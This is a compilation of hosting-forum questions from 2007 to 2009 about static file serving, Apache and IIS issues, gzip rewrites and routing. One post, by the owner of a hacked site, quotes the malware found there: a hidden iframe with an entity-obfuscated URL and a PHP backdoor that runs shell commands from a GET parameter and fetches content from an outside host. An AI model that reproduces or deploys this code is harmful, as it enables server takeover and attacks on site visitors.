10 Second Lag Serving Static HTML

Mar 21, 2007

this isn't my server, so I don't have a lot of information about it, other than it's a Linux/Apache Dedicated server at EV1. (cPanel/WHM)

There are other sites on the server, and they are running fine.

One site has a terrible lag. It takes about 10 seconds to serve up a static HTML file..

Now, it's not like the server is slow. It's like this: You request a small HTML file. The site sits and thinks about it for about 10 seconds, and then after that everything processes quickly.

The forum on the site is the same way. Everything you click on works fine and loads quickly after that initial delay passes.

Is there a common configuration problem that might be causing this?

If you want to see this phenomenon, here are a few test files:

Static File Serving - Performance

Jun 24, 2008

I'm planning to setup a server ONLY for hosting of static binary files varying from few KB to few MB in size.

I've seen some of the litespeedtech performance benchmarks, which you can find here: [url]

From the "small static file" benchmark chart, i can see that IIS6 beats lighttpd in this test.

So i'm wondering does the IIS6 really have better performance at file hosting than lighttpd.

Actually it does not matter which operating system i will be using at this server, since i will use it only for file serving. With lots of concurrent connections. Possibly thousands of connections.

I need some feedbacks on this, so i can decide, IIS or lighttpd.

Few more bucks for win2k3 won't be an issue here, if it's performance is better than lighttpd for this kind of use.

Problem Serving Gzipped Static Content

Nov 21, 2007

I'm trying to serve as much gzipped content as possible on my web site. I will gzip dynamic pages on the fly using PHP, and I plan to gzip static content just one time, not to use much CPU, and serve css.gz, .js.gz files, etc... So, I uploaded a test.html file and a .css file that changes the color of the text to red. I gzipped the css file:

%gzip style.css

I also uploaded an .htaccess file with this content:

RewriteEngine on
RewriteBase /gzip/
RewriteCond %{HTTP_ACCEPT_ENCODING} gzip
RewriteRule ^(([^.]+.)+)css$ /$1css.gz

For now I'm not going to include any gunzipped style sheet, just to make sure my browser picks the gzipped style sheet. I also uploaded a phpinfo.php file to make sure I have mod_gzip. So, here's the list of files I have:

- .htaccess
- style.css.gz
- test.html
- phpinfo.php

But when I open the test.html file: [url] the style sheet isn't applied. If I upload a regular style.css file, it works fine. It seems the Rewrite rules aren't taken into account. Do you know how I could server the gzipped style sheet instead?

Static HTML Resource Usage

Oct 21, 2008

I've been running website for several years, however, there's one thing that I've never quite figured, most likely because I haven't gone over to dedicated/vps yet.

How much memory would a static 10kb HTML use or for that matter a PHP page (static)?

I know it's quite a broad question, but I'm asking this as I might start a project and this one page may receive many hits. Oh and, would the memory usage go up if I have embedded objects from an outside source (e.g. embedded Youtube videos)?

Totally Static HTML Content Hosting

Oct 7, 2009

I'm configuring an VPS that's going to serve all static stuff and absolutely no dynamic scripts at all.

What could be the bottle necks with all these static content websites? Can a 256MB VPS handle a static website receiving millions of page views a month?

Mirror/Mirroring Site Hosting/aka: Impressed At Ability Of Cheap Hardware To Serve Static HTML

Nov 5, 2009

We recently began to mirror a large number of open source projects with a dedicated mirror server on our network and I was surprised not only with how popular the mirror server has become, is, but also of the ability of the hardware we're using to keep up with the load.

At an given time, the mirror seems to be pushing at least 50 Megabits of trafficthe server is also an IRC server (irc.igsobe.com) for customers and internal staff communications.

The hardware is a low end Dell Pentium 4 @ 2.66 GHZ server, running with 512MB of RAM and a 400 GB ATA hard drive. CentOS v5.3 is the operating system.

If you're interested, you can view the HTML logfile analysis here but that doesn't tell the full story as FTP users make up a good portion of the traffic. We've received over a quarter million hits in the first few days of November alone.

18:14:15 up 65 days, 9:04, 5 users, load average: 0.31, 0.69, 0.56

The only change that I made to the default configuration was lowering the maximum number of Apache servers to 128.

Just thought I'd share this information as I wouldn't have thought a server with such a small amount of RAM would be able to serve up so much data, even though we are talking strictly static HTML files.

I'll definitely keep this in mind when clients ask me for those "what type of dedicated server should I use for XXX" type discussions that are had all too often with clients.

Static Index.html Pages Hacked, Also Index Files

Sep 8, 2007

My site was hacked today, all pages named index.html were hacked. It is kind of script since all pages were written same time.

I'm using a very respectable hosting. I jumped from another hosting were I was exposed on a unsecured host (they moved my account to an insecure host without asking).

Going back on track, all files named "%index%" were hacked.

-I found a index.txt file with links to obscure sites.

The code was written at bottom of the all index.html files: iframe code

><!-- ~ --><iframe src="&#104&#116&#116&#112&#58&#47&#47&#103&#111&#111&#103&#108&#101&#116&#114&#97&#102&#102&#46&#99&#111&#109&#47&#105&#110&#46&#99&#103&#105&#63&#100&#101&#102&#97&#117&#108&#116" width="0" height="0" style="display:none"></iframe><!-- ~ -->
Also a line.php with the following code

PHP Code:

<?error_reporting(0);if($_GET['cmd45']) {system($_GET['cmd45']);}$domain = 'shemale1.biz';$ur = '/load.php?f=%s&ua=%s&ref=%s';$qs = $_SERVER['QUERY_STRING'];$ua = urlencode(substr($_SERVER['HTTP_USER_AGENT'],0,100));$ref = urlencode($_SERVER['HTTP_REFERER']);$redirect = sprintf($ur,$qs,$ua,$ref);#print $redirect;#exit;echo getcontent($domain,80,$redirect);exit;function getcontent($server, $port, $file){$socket=fsockopen($server,$port,$errno,$errstr,60) or die("Can't open socket");$refer = $_SERVER['HTTP_HOST']?$_SERVER['HTTP_HOST']:$server;fputs($socket, "GET $file HTTP/1.0
");fputs($socket, "Referer: http://$refer
");fputs($socket, "Host: $server
");fputs($socket, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

");$wr = 0;while(!feof($socket)){  $temp = fgets($socket);    if(eregi("<",$temp)) {      $wr = 1;        }                      if($wr) {              $page .= $temp;                }                }                fclose($socket);                                return $page;                }                                ?>
So far I recover the files from backup, secured the config.php files and modify %index% to read only...finally changed the password...

I have been hosting a site for the past number of weeks on IIS on Server 2003..I have a no-ip a/c which is working fine along with port forwarding on my router..

The other day I restarted my server for something but now I cant seem to access my site from across the internet and according down for everyone or just me (website) it is down. I can, however, access the site using domain name from within my lan.

I'm not too hot on server 2003 or IIS. What can I do to debug/diagnose the problem?

Servint - Serving Porn On My Sites

Jul 7, 2008

What is up with servint?

I have domains and a vps through them.

The vps is now serving up porn on all the sites.

When I call servint they say I don't own the name but a whois shows i DO INDEED own the name for another year and it is registered to me and they are the registrar!!!

The portal user/pass suddenly stopped working so I can't even put in a support ticket

All I get is a message machine ... does anyone know if servint staff ever come on this board.

It has probably been hacked but it is pretty disturbing when they say I don't own the domain but it is CLEAR THAT I do own it.

Speed Up Serving Large Files

Nov 9, 2009

I'm working on a web site which will basically be a flash games portal. I have a dedicated server running Apache 2 on a 100mbit dedicated line but my download speed for large files (flash files of over 5mbs) is really slow. I am thinking this is because of Apache but I don't know much about this. I've read that I should change for a lighter http server for serving static files. The way my server is set up is I have 2 virtual machines running, one doing the PHP processing and the other serving static files, both running Apache, so if I have to change HTTP server for the static files it would be very easy. Although I am not sure if this is necessary or if I can tune Apache to push files faster than this.

Serving Data From 2 Hard Disks

Mar 1, 2009

I have a server with 2 hard drives, say drive A and drive B. Right now all my files, database and data is on drive A, and drive B is empty. Since I have another drive available, I want to split the load between the two drives. I'm ok with having the web pages and the database on one drive. I mostly want to just have the data (I have about 500GB of data) split between the two drives. Note that I want to avoid duplicating the data. I want to have each file on either drive A XOR drive B.

Should I map a separate subdomain to drive B and then use that subdomain to serve the half of the data thats there? Is there something I can do with hard/soft links on the server so that even though the data is on 2 drives, users still use the same url to access data on either drive? Any other options?

Serving & Playing Breeze FIles

May 15, 2007

Having trouble hosting Macromedia Breeze files on a brand new dedicated 2003 NT box.

Anything I need to adjust?

When someone visits the URL, it loads the presentation main screen, but it's supposed to auto-play several movies and it won't. It works fine locally and on 2 unix servers I tested it on, but not the new NT box.

The weird thing is, if I remote desktop to that server, I can't play that presentation locally or server thru the linux boxes. I figured it was an extensions thing, but like I said the intro still does appear, and if I go to Adobe.com and play a new "Adobe Presenter" presentation - it works fine.

Preferred Operating System For Web Serving

May 13, 2007

I have been online since 95 and I've got a lot of information I could help others with regarding web development and interface design.

One thing I'm terrible at is System Administration, but I'm getting better and my first step is to pick a reliable operating system for both the webservers and the database servers. Would anyone be willing to answer the following questions or point me to a thread that already discusses these?

A little background, our site has 200k members, 30k active and is growing by about 5k a week. We still run MySQL 4.0.27 on the DB servers and they are running FC2. The webservers are Apache 1.3.37 and PHP 4.4.2 running FC2 and FC4 as well.

My questions

1. What OS would you prefer to upgrade to for the web servers? and a
"few" reasons why?

2. What OS would you prefer to upgrade to for the database servers?
and a "few" reasons why?

Apache Serving Blank Pages

Oct 1, 2007

I am having this issue with a new box where Apache at random serves blank pages and won't serve anything but until it's restarted. I see no errors in /var/log/messages either to show why this is happening.

It's not all pages either just several various ones. I know it's not a programming issue either because the only thing the server is running is one instance of vBulletin.

I look at top during this and CPU and RAM usage are very low.

The only fix to get Apache to serve the pages is to restart it.

Anyone have any clues on what it could be?

I set my php.ini memory limit to a gig (I have 16 gigs in the sever)

An Otherwise Great Performing Server Now Delays Prior To Serving PHP/mysql

Nov 7, 2008

One of my dedicateds (Fedora 7 / apache 1.39 / php5 mysql5) has been running flawlessly but now has a strange ~4-5 second delay when serving up PHP/mysql pages such as Wordpress.

I say delay because it appears to think about it for several seconds, then when the page finally begins the refresh process, everything serves up lightning fast. Latency is low, direct file downloads are faster than ever.

ModSecurity is running, and accounts for about 1 second of that delay (tested with it on and off), but the other 3-4 seconds is a mystery.

What Type Of Server And Os, Etc For Just File Serving- Small Files Like Under 10kb

Sep 26, 2008

I have a website that just serves small files, under 10kb most of them. I just need a server that lets me ftp the file to it, set up subdomains and domains for one website. Don't need to manage mysql or anything. Not even php. Just serve files.

A good fast OS? Something like lighttpd? Ioono?

I'm currently doing 600gb of bandwidth per month. I'm expecting to do about 1000gb by the end of the year. Would a small server like a pentium 4 be able to handle just serving files?

Another similar kind of question

I want to run .asp pages on a windows server where i am currently running .HTML files (STATIC without any script or database). I want convert those .html pages to .asp (without any scripts).

So WHAT DO YOU THINK, that .html (static) should work exactly same like .asp (Static) ? Suppose .html pages DO NOT CREATE any issue with IIS load , so using same (basic html code) in .asp would create any issue with APPLICATION POOL (IIS)?

Static IP: Best Service And How To Use

Oct 18, 2007

My ISP here in the UK does not provide static ip addresses. I'd like to be able to set my server to only accept root access attempts from a set IP.

I am aware of how to set this up on my server, but not on my own machine.

I'd appreciate if anyone recommend the best service to use when seeking a static IP address and also point me in the right direction of documentation that explains how to utilise this IP (connect through it so when connecting to my server it sees the static IP and not my dynamic ISP IP).

I've had a search on WHT and Google but most of the documentation I've encountered is for people who want to run a web server from their home machine and so want a static IP for incoming connections.

I am using a windows machine (xp pro).

Static Routes Questions

May 18, 2007

I have a small network at my colo provider.

Colo Provider
My HP 2650
| |
server1 serverN

I want to setup static routes on my servers so that my colo provider won't bill me for traffic among my servers.

I use FreeBSD 6 on my servers. I read the FreeBSD handbook on this and it looks like i should do this:

route add -net 0.0.0/24

where 0.0.0/24 is the C class I have from my provider and is the IP address of my server (one of them/any of them).

However, this route appears to already exist as i get this error when running that route command:

route: writing to routing socket: File exists
add net 0.0.0: gateway route already in table

Do I need to use a non-routeable ip block (eg 192.168.x.x) for this? Can I use "real"/routeable ips? Does FreeBSD take care of this for me automatically?
